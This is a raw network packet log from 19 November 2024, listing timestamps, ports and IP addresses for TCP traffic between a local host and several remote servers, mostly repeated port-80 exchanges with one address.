Nov 19, 2024 18:00:46.999030113 CET	443	49806	20.75.60.91	192.168.2.8
Nov 19, 2024 18:00:46.999342918 CET	49806	443	192.168.2.8	20.75.60.91
Nov 19, 2024 18:00:46.999360085 CET	443	49806	20.75.60.91	192.168.2.8
Nov 19, 2024 18:00:47.000973940 CET	443	49806	20.75.60.91	192.168.2.8
Nov 19, 2024 18:00:47.001038074 CET	49806	443	192.168.2.8	20.75.60.91
Nov 19, 2024 18:00:47.002521038 CET	49806	443	192.168.2.8	20.75.60.91
Nov 19, 2024 18:00:47.002639055 CET	443	49806	20.75.60.91	192.168.2.8
Nov 19, 2024 18:00:47.003022909 CET	49806	443	192.168.2.8	20.75.60.91
Nov 19, 2024 18:00:47.003046036 CET	443	49806	20.75.60.91	192.168.2.8
Nov 19, 2024 18:00:47.005769014 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.005836010 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.005841970 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.005867958 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.005914927 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.005918980 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.005954027 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.005970955 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.005989075 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.005999088 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.006025076 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.006036043 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.006059885 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.006110907 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.006110907 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.006340981 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.006396055 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.006442070 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.006449938 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.006458998 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.006503105 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.006517887 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.006537914 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.006581068 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.006592035 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.006598949 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.006643057 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.006649971 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.006689072 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.006694078 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.006736994 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.006747007 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.006786108 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.006798983 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.006849051 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.006858110 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.006884098 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.006897926 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.006933928 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.006968975 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.006973028 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.006998062 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.007010937 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.007021904 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.007076025 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.007077932 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.007124901 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.007127047 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.007165909 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.007179976 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.007224083 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.007230997 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.007265091 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.007277012 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.007298946 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.007302999 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.007339001 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.007375002 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.007409096 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.007447004 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.007456064 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.007476091 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.007489920 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.007524967 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.007534027 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.007569075 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.007577896 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.007612944 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.007625103 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.007646084 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.007657051 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.007678986 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.007713079 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.007719040 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.007733107 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.007746935 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.007770061 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.007781029 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.007791042 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.007816076 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.007826090 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.007849932 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.007883072 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.007896900 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.007916927 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.007930040 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.007949114 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.007970095 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.007982969 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.007993937 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.008018017 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.008053064 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.008065939 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.008085966 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.008110046 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.008120060 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.008131981 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.008153915 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.008164883 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.008188009 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.008192062 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.008222103 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.008234978 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.008255959 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.008271933 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.008285046 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.008310080 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.008317947 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.008332968 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.008352995 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.008387089 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.008398056 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.008420944 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.008433104 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.008455992 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.008490086 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.008523941 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.008537054 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.008559942 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.008569002 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.008593082 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.008608103 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.008627892 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.008661032 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.008668900 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.008690119 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.008702040 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.008713007 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.008758068 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.008763075 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.008825064 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.008876085 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.008881092 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.008918047 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.008938074 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.008971930 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.008975983 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.009005070 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.009051085 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.009061098 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.009095907 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.009123087 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.009138107 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.009170055 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.009172916 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.009224892 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.009258032 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.009270906 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.009309053 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.009355068 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.009360075 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.009394884 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.009406090 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.009445906 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.009494066 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.009533882 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.009567022 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.009602070 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.009615898 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.009634972 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.009649038 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.009670019 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.009704113 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.009728909 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.009738922 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.009747982 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.009768009 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.009797096 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.009802103 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.009814024 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.009835958 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.009850025 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.009869099 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.009876013 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.009902954 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.009912968 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.009936094 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.009947062 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.009969950 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.010001898 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.010003090 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.010020018 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.010036945 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.010050058 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.010067940 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.010082006 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.010102034 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.010119915 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.010134935 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.010143042 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.010169029 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.010201931 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.010216951 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.010235071 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.010247946 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.010267973 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.010276079 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.010302067 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.010308027 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.010334969 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.010344982 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.010368109 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.010385990 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.010401011 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.010416031 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.010436058 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.010453939 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.010471106 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.010477066 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.010504961 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.010514021 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.010538101 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.010576010 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.010605097 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.010607958 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.010618925 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.010642052 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.010652065 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.010689974 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.010708094 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.010725021 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.010731936 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.010761023 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.010767937 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.010840893 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.038687944 CET	443	49801	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:47.039199114 CET	443	49801	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:47.039310932 CET	49801	443	192.168.2.8	13.107.246.40
Nov 19, 2024 18:00:47.041620016 CET	49801	443	192.168.2.8	13.107.246.40
Nov 19, 2024 18:00:47.041635036 CET	443	49801	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:47.049876928 CET	443	49803	52.168.117.168	192.168.2.8
Nov 19, 2024 18:00:47.050174952 CET	443	49803	52.168.117.168	192.168.2.8
Nov 19, 2024 18:00:47.050281048 CET	49803	443	192.168.2.8	52.168.117.168
Nov 19, 2024 18:00:47.050734043 CET	49803	443	192.168.2.8	52.168.117.168
Nov 19, 2024 18:00:47.050762892 CET	443	49803	52.168.117.168	192.168.2.8
Nov 19, 2024 18:00:47.080784082 CET	443	49805	108.139.47.92	192.168.2.8
Nov 19, 2024 18:00:47.083106041 CET	49805	443	192.168.2.8	108.139.47.92
Nov 19, 2024 18:00:47.084002018 CET	49805	443	192.168.2.8	108.139.47.92
Nov 19, 2024 18:00:47.084018946 CET	443	49805	108.139.47.92	192.168.2.8
Nov 19, 2024 18:00:47.086268902 CET	49814	443	192.168.2.8	108.139.47.92
Nov 19, 2024 18:00:47.086296082 CET	443	49814	108.139.47.92	192.168.2.8
Nov 19, 2024 18:00:47.086366892 CET	49814	443	192.168.2.8	108.139.47.92
Nov 19, 2024 18:00:47.086591005 CET	49814	443	192.168.2.8	108.139.47.92
Nov 19, 2024 18:00:47.086601973 CET	443	49814	108.139.47.92	192.168.2.8
Nov 19, 2024 18:00:47.095696926 CET	49802	443	192.168.2.8	13.107.246.40
Nov 19, 2024 18:00:47.095813036 CET	49806	443	192.168.2.8	20.75.60.91
Nov 19, 2024 18:00:47.096440077 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.096481085 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.096517086 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.096530914 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.096539021 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.096575975 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.096586943 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.096609116 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.096621037 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.096643925 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.096648932 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.096677065 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.096688032 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.096714020 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.096726894 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.096756935 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.096980095 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.097033024 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.097067118 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.097080946 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.097101927 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.097114086 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.097135067 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.097150087 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.097170115 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.097182035 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.097204924 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.097208977 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.097278118 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.097323895 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.097332001 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.097364902 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.097398043 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.097410917 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.097430944 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.097476959 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.097484112 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.097536087 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.097541094 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.097573996 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.097608089 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.097620964 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.097625971 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.097677946 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.097716093 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.097748995 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.097780943 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.097795010 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.097814083 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.097814083 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.097831964 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.097861052 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.097866058 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.097879887 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.097917080 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.097922087 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.097949982 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.097963095 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.097984076 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.098017931 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.098062038 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.098062038 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.098068953 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.098104000 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.098140955 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.098155022 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.098192930 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.098195076 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.098227978 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.098241091 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.098257065 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.098272085 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.098290920 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.098304033 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.098325968 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.098339081 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.098361015 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.098376989 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.098411083 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.098414898 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.098450899 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.098464966 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.098486900 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.098491907 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.098520041 CET	80	49761	185.215.113.206	192.168.2.8
